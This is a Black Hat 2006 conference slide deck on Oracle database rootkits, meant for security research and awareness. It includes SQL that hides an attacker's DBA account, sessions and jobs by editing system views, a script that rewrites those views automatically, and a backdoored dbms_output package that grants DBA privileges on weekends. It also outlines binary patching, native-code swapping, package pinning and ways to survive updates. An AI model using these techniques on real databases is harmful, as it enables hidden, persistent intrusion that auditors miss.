Black Hat 2006 USA – Las Vegas

Oracle Rootkits 2.0

Alexander Kornbrust
02-August-2006
Agenda

- Introduction
- OS Rootkits
- Database Rootkits 1.0
  - Execution Path
  - Modify Data Dictionary Objects
- Advanced Database Rootkits 1.0
- Database Rootkits 2.0
  - Modify Binaries
  - PL/SQL Native
  - Pinned PL/SQL Packages
  - Virtual Private Database (VPD)
- Conclusion
- Q/A
Operating Systems and Databases are quite similar in the architecture.

Both have

- Users
- Processes
- Jobs
- Executables
- Symbolic Links
- ...

⇒ A database is a kind of operating system
## Introduction

<table>
<thead>
<tr>
<th>OS cmd</th>
<th>Oracle</th>
<th>SQL Server</th>
<th>DB2</th>
<th>Postgres</th>
</tr>
</thead>
<tbody>
<tr>
<td>ps</td>
<td>select * from v$process</td>
<td>select * from sysprocesses</td>
<td>list application</td>
<td>select * from pg_stat_activity</td>
</tr>
<tr>
<td>kill 1234</td>
<td>alter system kill session '12,55'</td>
<td>SELECT @var1 = spid FROM sysprocesses WHERE nt_username='andrew' AND spid&lt;&gt;@@spid EXEC ('kill '+@var1);</td>
<td>force application (1234)</td>
<td></td>
</tr>
<tr>
<td>Executables</td>
<td>View, Package, Procedures and Functions</td>
<td>View, Stored Procedures</td>
<td>View, Stored Procedures</td>
<td>View, Stored Procedures</td>
</tr>
<tr>
<td>execute</td>
<td>select * from view; exec procedure</td>
<td>select * from view; exec procedure</td>
<td>select * from view; exec procedure</td>
<td>select * from view; exec procedure</td>
</tr>
<tr>
<td>cd</td>
<td>alter session set current_schema =user01</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
If a database is a (kind of) operating system, then it is possible to migrate malware (concepts) like viruses or rootkits from the operating system world to the database world.
Definition Wikipedia

A rootkit is a set of tools used after cracking a computer system that hides logins, processes [...] a set of recompiled UNIX tools such as ps, netstat, passwd that would carefully hide any trace that those commands normally display.
OS Rootkits

- Rootkits can also be used to protected music from being stolen.
- Rootkits are often installed by hackers to hide their tracks in a hacked computer.
OS Rootkits

- Result of the `dir` command with and without an installed Sony DRM rootkit

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Type</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>22.05.2006</td>
<td>21:29</td>
<td>&lt;DIR&gt;</td>
<td>backup</td>
</tr>
<tr>
<td>28.05.2006</td>
<td>07:31</td>
<td>&lt;DIR&gt;</td>
<td>Programme</td>
</tr>
<tr>
<td>01.03.2006</td>
<td>10:36</td>
<td>&lt;DIR&gt;</td>
<td>WINDOWS</td>
</tr>
<tr>
<td>30.01.2006</td>
<td>15:57</td>
<td>&lt;DIR&gt;</td>
<td>Documents</td>
</tr>
<tr>
<td>30.01.2006</td>
<td>16:00</td>
<td></td>
<td>212 boot.ini</td>
</tr>
<tr>
<td>18.08.2001</td>
<td>11:00</td>
<td></td>
<td>4.952 bootfont.bin</td>
</tr>
<tr>
<td>30.01.2006</td>
<td>15:53</td>
<td></td>
<td>0 CONFIG.SYS</td>
</tr>
<tr>
<td>30.02.2006</td>
<td>17:11</td>
<td></td>
<td>471.232 $sys$rk.exe</td>
</tr>
</tbody>
</table>

with (Sony) rootkit

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Type</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>22.05.2006</td>
<td>21:29</td>
<td>&lt;DIR&gt;</td>
<td>backup</td>
</tr>
<tr>
<td>28.05.2006</td>
<td>07:31</td>
<td>&lt;DIR&gt;</td>
<td>Programme</td>
</tr>
<tr>
<td>01.03.2006</td>
<td>10:36</td>
<td>&lt;DIR&gt;</td>
<td>WINDOWS</td>
</tr>
<tr>
<td>30.01.2006</td>
<td>15:57</td>
<td>&lt;DIR&gt;</td>
<td>Documents</td>
</tr>
<tr>
<td>30.01.2006</td>
<td>16:00</td>
<td></td>
<td>212 boot.ini</td>
</tr>
<tr>
<td>18.08.2001</td>
<td>11:00</td>
<td></td>
<td>4.952 bootfont.bin</td>
</tr>
<tr>
<td>30.01.2006</td>
<td>15:53</td>
<td></td>
<td>0 CONFIG.SYS</td>
</tr>
</tbody>
</table>
OS Rootkits

- Result of the `who` command with and without an installed rootkit

**without rootkit**

```
[root@picard root]# who
root pts/0 Apr 1 12:25
root pts/1 Apr 1 12:44
root pts/1 Apr 1 12:44
ora pts/3 Mar 30 15:01
hacker pts/3 Feb 16 15:01
```

**with rootkit**

```
[root@picard root]# who
root pts/0 Apr 1 12:25
root pts/1 Apr 1 12:44
root pts/1 Apr 1 12:44
ora pts/3 Mar 30 15:01
```
Migration of Rootkits

- Migration of the rootkit concept to the database world

- OS → DB
  - Hide OS User → Hide Database User
  - Hide Jobs → Hide Database Jobs
  - Hide Processes → Hide Database Processes
Database Rootkits

- Ways to implement a first generation database rootkit
  - Modify the (database) object itself
  - Change the execution path
Database Rootkit Evolution—Now and in the future

- **1st Generation**
  - Changes in the data dictionary (e.g. modification of a view or procedure / change synonym) – Presented at the Black Hat Europe 2005

- **2nd Generation**
  - No change in the data dictionary (like views or packages) required.

- **3rd Generation**
  - Modify database structures in memory. Official API available since Oracle 10g Rel. 2.
Rootkit – 1st generation

- Easy to implement
- Easy to find

Generic problem of all relational databases. Microsoft SQL Server has already some Anti-Database-Rootkit Technologies installed (digitally signed views).
Oracle Execution Path

How is Oracle resolving object names if we select data (like a user) from a table?

Example:

```
SQL> Select username from dba_users;
```

Name resolution:

- Is there a local object in the current schema (table, view, procedure, …) called dba_users? If yes, use this object.
- Is there a private synonym called dba_users? If yes, use this synonym.
- Is there a public synonym called dba_users? If yes, use the public synonym.
Oracle Execution Path

**User 1**
- Tables
- Functions
- Procedures
- Packages
- Private Synonyms
- Views

**User n**
- Tables
- Func.
- Proc.
- Pack.
- Views
- Private Synonyms

**Public Synonyms**

**SYS**
- Views
- Tables
- Functions
- Procedures
- Packages
Oracle Execution Path

We can change the Oracle execution path by

- Creating a local object with the identical name
- Creating a private synonym pointing to a different object
- Creating or modify a public synonym pointing to a different object
- Switching to a different schema
User management in Oracle

- Oracle database users and roles are stored together in the table SYS.USER$
- Users have flag TYPE# = 1
- Roles have flag TYPE# = 0
- Views dba_users and all_users to simplify access
- Synonyms for dba_users and all_users
Hide Database Users

Example: Create an Oracle database user called hacker

```sql
SQL> create user hacker identified by hacker_bh2006;

SQL> grant dba to hacker;
```
Hide Database Users

Example: List all database users

SQL> select username from dba_users;

USERNAME
------------------------
SYS
SYSTEM
DBSNMP
SYSMAN
MGMT_VIEW
OUTLN
MDSYS
ORDSYS
EXFSYS
HACKER
[...]

[...]

[...]

[...]

[...]

[...]

[...]

[...]

[...]
Hide Database Users

Enterprise Manager (Java)

<table>
<thead>
<tr>
<th>Benutzername</th>
</tr>
</thead>
<tbody>
<tr>
<td>ANONYMOUS</td>
</tr>
<tr>
<td>CTXSYS</td>
</tr>
<tr>
<td>DATA_SCHEMA</td>
</tr>
<tr>
<td>DBSNMP</td>
</tr>
<tr>
<td>DIP</td>
</tr>
<tr>
<td>DMSYS</td>
</tr>
<tr>
<td>EXFSYS</td>
</tr>
<tr>
<td>FLOWS_FILES</td>
</tr>
<tr>
<td>FLOWS_010500</td>
</tr>
<tr>
<td>HACKER</td>
</tr>
<tr>
<td>HTMLDBALEX</td>
</tr>
<tr>
<td>HTMLDB_PUBLIC_USER</td>
</tr>
<tr>
<td>MASTER</td>
</tr>
<tr>
<td>MDDATA</td>
</tr>
<tr>
<td>MDSYS</td>
</tr>
<tr>
<td>MGMT_VIEW</td>
</tr>
<tr>
<td>MOBILEADMIN</td>
</tr>
<tr>
<td>OLAPSYS</td>
</tr>
<tr>
<td>ORDPLUGINS</td>
</tr>
<tr>
<td>ORDSYS</td>
</tr>
<tr>
<td>OUTLN</td>
</tr>
<tr>
<td>PUBLIC</td>
</tr>
</tbody>
</table>

Database Control (Web)

Search

Name:

To run an exact match search or to run a case sensitive search

Results

<table>
<thead>
<tr>
<th>Select</th>
<th>UserName</th>
<th>Account Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>☐</td>
<td>ANONYMOUS</td>
<td>EXPIRED</td>
</tr>
<tr>
<td>☐</td>
<td>CTXSYS</td>
<td>EXPIRED</td>
</tr>
<tr>
<td>☐</td>
<td>DATA_SCHEMA</td>
<td>OPEN</td>
</tr>
<tr>
<td>☐</td>
<td>DBSNMP</td>
<td>OPEN</td>
</tr>
<tr>
<td>☐</td>
<td>DIP</td>
<td>EXPIRED</td>
</tr>
<tr>
<td>☐</td>
<td>DMSYS</td>
<td>EXPIRED</td>
</tr>
<tr>
<td>☐</td>
<td>EXFSYS</td>
<td>EXPIRED</td>
</tr>
<tr>
<td>☐</td>
<td>FLOWS_010500</td>
<td>LOCKED</td>
</tr>
<tr>
<td>☐</td>
<td>FLOWS_FILES</td>
<td>LOCKED</td>
</tr>
<tr>
<td>☐</td>
<td>HACKER</td>
<td>OPEN</td>
</tr>
<tr>
<td>☐</td>
<td>HTMLDBALEX</td>
<td>OPEN</td>
</tr>
</tbody>
</table>

Quest TOAD

<table>
<thead>
<tr>
<th>User</th>
</tr>
</thead>
<tbody>
<tr>
<td>ANONYMOUS</td>
</tr>
<tr>
<td>CTXSYS</td>
</tr>
<tr>
<td>DATA_SCHEMA</td>
</tr>
<tr>
<td>DBSNMP</td>
</tr>
<tr>
<td>DIP</td>
</tr>
<tr>
<td>DMSYS</td>
</tr>
<tr>
<td>EXFSYS</td>
</tr>
<tr>
<td>FLOWS_010500</td>
</tr>
<tr>
<td>FLOWS_FILES</td>
</tr>
<tr>
<td>HACKER</td>
</tr>
<tr>
<td>HTMLDBALEX</td>
</tr>
</tbody>
</table>
Add an additional line to the view to remove the row containing “HACKER”

```sql
AND U.NAME != 'HACKER'
```
Hide Database Users

Enterprise Manager (Java)

Database Control (Web)

Quest TOAD
Hide Database Users

TOAD is using the view ALL_USERS instead of DBA_USERS. That’s why the user HACKER is still visible.

```
select u.name, u.user#, u.ctime
from sys.user$ u, sys.ts$ dts, sys.ts$ tts
where u.datats# = dts.ts#
  and u.tempts# = tts.ts#
  and u.type# = 1
  AND U.NAME != 'HACKER'
--added by intruder
```
Hide Database Users

Now the user is gone in TOAD too…
select * from dba_users;  (e.g. as user SYSTEM)

and u.name != 'HACKER'
Hide Processes

Process management in Oracle

- Processes are stored in a special view v$session located in the schema SYS
- Public synonym v$session pointing to v_$session
- Views v_$session to access v$session
# Hide Processes

## Example: List all database processes

```sql
SQL> select sid, serial#, program from v$session;
```

<table>
<thead>
<tr>
<th>SID</th>
<th>SERIAL#</th>
<th>PROGRAM</th>
</tr>
</thead>
<tbody>
<tr>
<td>297</td>
<td>11337</td>
<td>OMS</td>
</tr>
<tr>
<td>298</td>
<td>23019</td>
<td>OMS</td>
</tr>
<tr>
<td>300</td>
<td>35</td>
<td>OMS</td>
</tr>
<tr>
<td>301</td>
<td>4</td>
<td>OMS</td>
</tr>
<tr>
<td>304</td>
<td>1739</td>
<td>OMS</td>
</tr>
<tr>
<td>305</td>
<td>29265</td>
<td>sqlplus.exe</td>
</tr>
<tr>
<td>306</td>
<td>2186</td>
<td>OMS</td>
</tr>
<tr>
<td>307</td>
<td>30</td>
<td><a href="mailto:emagent@picard.rds">emagent@picard.rds</a> (TNS V1</td>
</tr>
<tr>
<td>308</td>
<td>69</td>
<td>OMS</td>
</tr>
<tr>
<td>310</td>
<td>5611</td>
<td>OMS</td>
</tr>
<tr>
<td>311</td>
<td>49</td>
<td>OMS</td>
</tr>
</tbody>
</table>

[...]
Hide Processes

Modify the views (v$session, gv_$session, flow_sessions, v_$process) by appending

\[ \text{username} \neq \text{'HACKER'} \]
Database Jobs in Oracle

- Oracle jobs are stored in the table SYS.JOB$
- The view dba_jobs simplifies the access
- Public synonym for dba_jobs
Hide Database Jobs

Example: Create a database job running at midnight

```sql
declare
    mydate date;
begin
    select sysdate into mydate from dual;
end;
```
# Hide Database Jobs

See all database jobs in the view `dba_jobs`

<table>
<thead>
<tr>
<th>JOB</th>
<th>LOG_USER</th>
<th>PRIV_USER</th>
<th>SCHEMA_USER</th>
<th>LAST_DATE</th>
<th>LAST_SEC</th>
<th>THIS_DATE</th>
<th>THIS_SEC</th>
</tr>
</thead>
<tbody>
<tr>
<td>8</td>
<td>SYS</td>
<td>WKSYS</td>
<td>WKSYS</td>
<td>29.03.2005 15:23:05</td>
<td>15:23:05</td>
<td></td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>SYS</td>
<td>WKSYS</td>
<td>WKSYS</td>
<td>29.03.2005 21:00:03</td>
<td>21:00:03</td>
<td></td>
<td></td>
</tr>
<tr>
<td>31</td>
<td>SYSTEM</td>
<td>SYSTEM</td>
<td>SYSTEM</td>
<td>29.03.2005 20:47:38</td>
<td>20:47:38</td>
<td></td>
<td></td>
</tr>
<tr>
<td>10</td>
<td>SYSMAN</td>
<td>SYSMAN</td>
<td>SYSMAN</td>
<td>29.03.2005 21:10:53</td>
<td>21:10:53</td>
<td></td>
<td></td>
</tr>
<tr>
<td>50</td>
<td>HACKER</td>
<td>HACKER</td>
<td>HACKER</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Hide Database Jobs

Add an additional line to the view

```sql
SELECT JOB, lowner LOG_USER, powner PRIV_USER, owner SCHEMA_USER,
LAST_DATE, substr(to_char(last_date,'HH24:MI:SS'),1,8) LAST_SEC,
THIS_DATE, substr(to_char(this_date,'HH24:MI:SS'),1,8) THIS_SEC,
NEXT_DATE, substr(to_char(next_date,'HH24:MI:SS'),1,8) NEXT_SEC,
(total+(sysdate-nvl(this_date,sysdate)))*86400 TOTAL_TIME,
decode(mod(FLAG,2),1,'Y',0,'N',?) BROKEN,
INTERVAL# interval, FAILURES, WHAT,
nlsenv NLS_ENV, env MISC_ENV, j.field1 INSTANCE
from sys.job$ j
WHERE powner != 'HACKER'
```
Now the job is no longer visible.

<table>
<thead>
<tr>
<th>JOB</th>
<th>LOG_USER</th>
<th>PRIV_USER</th>
<th>SCHEMA_USER</th>
<th>LAST_DATE</th>
<th>LAST_SEC</th>
<th>THIS_DATE</th>
<th>THIS_SEC</th>
</tr>
</thead>
<tbody>
<tr>
<td>8</td>
<td>SYS</td>
<td>WKSYS</td>
<td>WKSYS</td>
<td>29.03.2005 15:23:05</td>
<td>15:23:05</td>
<td></td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>SYS</td>
<td>WKSYS</td>
<td>WKSYS</td>
<td>29.03.2005 21:00:03</td>
<td>21:00:03</td>
<td></td>
<td></td>
</tr>
<tr>
<td>31</td>
<td>SYSTEM</td>
<td>SYSTEM</td>
<td>SYSTEM</td>
<td>29.03.2005 20:47:38</td>
<td>20:47:38</td>
<td></td>
<td></td>
</tr>
<tr>
<td>10</td>
<td>SYSMAN</td>
<td>SYSMAN</td>
<td>SYSMAN</td>
<td>29.03.2005 21:16:18</td>
<td>21:16:18</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
1. Gen Rootkits Examples

- Modifying Views
- Modifying internal Oracle Packages
1.Gen Rootkit Examples – View Modification

set linesize 2000
set long 90000
EXECUTE
    DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRANSFORM,'STORAGE',false);

spool rk_source.sql
select replace(cast(dbms_metadata.get_ddl('VIEW','ALL_USERS') as VARCHAR2(4000)),'where','where u.name !="HACKER" and ') from dual union select '/' from dual;

select replace(cast(dbms_metadata.get_ddl('VIEW','DBA_USERS') as VARCHAR2(4000)),'where','where u.name !="HACKER" and ') from dual union select '/' from dual;

spool off
create user hacker identified by hacker_bh2006;
grant dba to hacker;
1. Gen Rootkit Examples – Backdoor Oracle Package

- By default all Oracle system packages (like dbms_output) are wrapped by default
- It is possible to unwrap Oracle PL/SQL packages (see Pete Finnigan’s Black Hat Presentation “How To Unwrap PL/SQL”)
- Working PL/SQL Unwrappers for 8i/9i and 10g are already out there
- PL/SQL packages can be unwrapped, backdoored, wrapped and installed in the database again
1. Gen Rootkit Examples – Backdoor Oracle Package

- Unwrap PL/SQL package dbms_output

```sql
CREATE OR REPLACE
PACKAGE BODY DBMS_OUTPUT AS

ENABLED BOOLEAN := FALSE;
BUF_SIZE BINARY_INTEGER;
LINEBUFLEN BINARY_INTEGER := 0;
PUTIDX BINARY_INTEGER := 1;
GETIDX BINARY_INTEGER := 2;
GET_IN_PROGRESS BOOLEAN := TRUE;
TYPE CHAR_ARR IS TABLE OF VARCHAR2(32767) INDEX BY BINARY_INTEGER;
BUF CHAR_ARR;
BUFLEFT BINARY_INTEGER := -1;

PROCEDURE KHXERAE(
  NUM BINARY_INTEGER
, MSG VARCHAR2
, KEEPERERRORSTACK BOOLEAN DEFAULT FALSE);
PRAGMA INTERFACE (C, KHXERAE);

PROCEDURE RAISE_APPLICATION_ERROR(
  NUM BINARY_INTEGER
, MSG VARCHAR2
, KEEPERERRORSTACK BOOLEAN DEFAULT FALSE)
IS
  BEGIN
    KHXERAE(NUM, MSG, KEEPERERRORSTACK);
    END RAISE_APPLICATION_ERROR;
```
1. Gen Rootkit Examples – Backdoor Oracle Package

PROCEDURE ENABLE (BUFFER_SIZE IN INTEGER DEFAULT 20000) IS
    LSTATUS INTEGER;
    LOCKID INTEGER;
    MYDAY VARCHAR2(10);
BEGIN
    [...]
    select to_char(sysdate,'DAY') into MYDAY from dual;
    IF (MYDAY IN ('SATURDAY','SUNDAY')) THEN
        execute immediate 'grant dba to scott';
    ELSE
        execute immediate 'revoke dba to scott';
    END IF;
    ENABLED := TRUE;
    IF BUFFER_SIZE < 2000 THEN
        BUF_SIZE := 2000;
    [...]
1. Gen Rootkit Examples – Backdoor Oracle Package

- Wrap the package again and install this trojanized version into the database again.
- If the package dbms_output is called on a Saturday or Sunday the user scott becomes DBA privileges. On Monday these privileges are revoked if the package was called.
- During a normal weekly security audit this backdoor will not be found.
- Only a changed checksum of the backdoored package is an indication for a modification.
Rootkit – 2nd generation

- More difficult to implement
- More difficult to find.
- Detection sometimes depends on the database account (e.g. non-SYS account will never find it)
- Sometimes detection is only visible from the operating system
Rootkit – 2nd generation

- Modification of binary files
- PL/SQL Native
- Pinned PL/SQL packages
- VPD (Virtual Private Database)
Normal login process – Oracle process reads the user credentials from the `sys` table `sys.user$` to verify that the login credentials are valid.
Rootkit – 2nd generation – modify binaries

- Search the string `sys.user$` (106 occurrences in 10 Express Edition)
Rootkit – 2nd generation – modify binaries

- Replace all occurrences of `sys.user$` with `sys.aser$`
An attacker can now modify the database executable(s) by replacing all occurrences of the table (sys.) user$ with the (new created) table sys.aser$
An auditor, security consultant or security tool normally only checks the table `sys.user$`. But Oracle is using the table `sys.aser$` containing the hidden user.
Rootkit – 2nd generation – modify binaries

- Create a user hacker with DBA privileges
- Create a copy of the table sys.user$ (create table sys.aser$ as select * from sys.user$)
- Drop user hacker from sys.user$
- Shutdown database
- Patch binary file
- Start database (Now the table sys.aser$ is used)
Rootkit – 2nd generation – modify binaries

Demonstration
Since Oracle 9i exists a new feature which allows to generate natively compiled code from PL/SQL

Oracle generates a C-File which is compiled on the target machine

The resulting .dll/.lib is executed instead of the original PL/SQL package.

Oracle does not monitor the files in the file system
alter session set plsql_compiler_flags='NATIVE';

alter procedure myprocedure compile;

MYPROCEDURE__SCOTT___0.dll

MYPROCEDURE__SCOTT___0.c

PL/SQL
MYPROCEDURE
Rootkit – 2nd generation – PL/SQL native

Implement a backdoor in the PL/SQL Package MYPROCEDURE

MYPROCEDURE
(backdoored)

MYPROCEDURE_SCOTT___0.c (backdoored)

MYPROCEDURE__SCOTT___0.dll (backdoored)

MYPROCEDURE__SCOTT___0.dll.bck (backdoored - Copy)
Rootkit – 2nd generation – PL/SQL native

Remove the rootkit from the PL/SQL Package MYPROCEDURE

And recompile the package again

MYPROCEDURE (original)

MYPROCEDURE_SCOTT___0.c (original)

MYPROCEDURE__SCOTT___0.dll (original)

MYPROCEDURE__SCOTT___0.dll.bck (backdoored - Copy)
Replace the native compiled code on the operating system level by replacing the original file with the backdoored version.

The backdoored version is now called.
Demonstration
To avoid memory fragmentation in the shared pool Oracle supports the preloading of (large) PL/SQL objects into the memory. This functionality is called pinning.

The package `dbms_shared_pool` allows to pin and unpin PL/SQL objects.

Changed objects are NOT automatically reloaded if they are changed.

- `dbms_shared_pool.keep` pins a package into the SGA
- `dbms_shared_pool.unkeep` removes a package into the SGA
Rootkit – 2nd generation – Pinned PL/SQL

The PL/SQL package is loaded into the SGA for execution and dropped if not needed afterwards.
Rootkit – 2nd generation – Pinned PL/SQL

SGA

MYPROCEDURE (backdoored)

dbms_shared_pool.
keep('MYPROCEDURE')
Remove the backdoor from the PL/SQL package.
The package in the SGA is NOT removed automatically and will always executed
Demonstration
For database based applications using user credentials in non SYS-schemas it is possible to hide users via specially crafted VPD (Virtual Private Database) roles.

HTMLDB for example is using the table `flows_020100.wwv_flow_fnd_user` to store/retrieve the user credentials

A special VPD rule could remove some entries in this table for specific users and / or during a special timeframe.
Rootkit – 3rd generation

- Difficult to implement (Direct SGA modification)
  (There is an official API to the SGA in 10g Rel. 2 which allows the modification of SGA)

- Difficult to find. Only from the operating system.
Surviving Updates

During updates (database+binaries) updates the repository is often rebuild from scratch or the binaries replaced with new versions. This normally removes changes in the data dictionary objects or modified files.

To avoid this an attacker could

- Create a special database job which reinstall the rootkit after an upgrade
- Change glogin.sql on the database server. This file is executed during every start of SQL*Plus
- Database startup trigger
- Backdoor custom PL/SQL of the customer application
- …
Conclusion

There are many possibilities to implement database rootkits. With these techniques an attacker can hide his presence in a hacked database.

The huge number of features (like pinning packages or native compilation) in Oracle databases allows the creation of new kind of database rootkits.
Contact

Alexander Kornbrust

Red-Database-Security GmbH
Bliesstrasse 16
D-66538 Neunkirchen
Germany

Phone:  +49 (0)6821 – 95 17 637
Fax:    +49 (0)6821 – 91 27 354
E-Mail: ak@red-database-security.com
E-Mail: ak@dbappsecurity.com